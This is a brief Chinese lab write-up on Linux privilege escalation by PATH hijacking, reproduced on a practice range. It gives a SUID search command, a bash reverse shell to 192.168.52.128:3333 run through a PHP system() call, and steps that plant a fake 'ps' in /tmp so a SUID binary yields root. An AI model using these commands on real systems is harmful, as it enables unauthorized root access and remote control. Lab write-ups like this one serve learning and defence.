环境变量提权
借鉴文章LINUX提权之环境变量提权篇 - 知乎 (zhihu.com)
利用条件
存在一个文件,利用su权限执行,普通用户可以执行此文件,但只限制在一个目录下可以执行
利用方式
将此文件的目录添加到环境变量中
export PATH=/tmp:$PATH
echo $PATH 命令可以查看环境变量
漏洞复现
这里借用红日7靶场进行复现
这里已经进入一台linux主机
find / -perm -u=s -type f 2>/dev/null
从根目录查找具有root权限的二进制执行文件
没有找到可以进行suid提权的命令
但是发现了/home/jobs/shell
瞅一眼
运行后创建了一个shell进程 (cmd表示执行的命令根据sh可知)
基于此推测使用环境变量提权的方式进行
考虑采用kali终端会更方便,用蚁剑命令执行反弹shell到kali中(这里需要使用蚁剑的代码执行插件)
system('bash -c "bash -i >& /dev/tcp/192.168.52.128/3333 0>&1" ');
可能第一次无法反弹上去,需要多几次
然后在kali依次输入一下命令
cd /tmp #进入临时目录
echo "/bin/bash" > ps #写入bash命令放入ps文件
chmod 777 ps #给此文件赋予权限
echo $PATH #查看环境变量
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 然后就获得了root权限,可以执行命令了
使用
python -c 'import pty;pty.spawn("/bin/bash");'
进入交互式终端
python -c 'import pty;pty.spawn("/bin/bash");'
进入交互式终端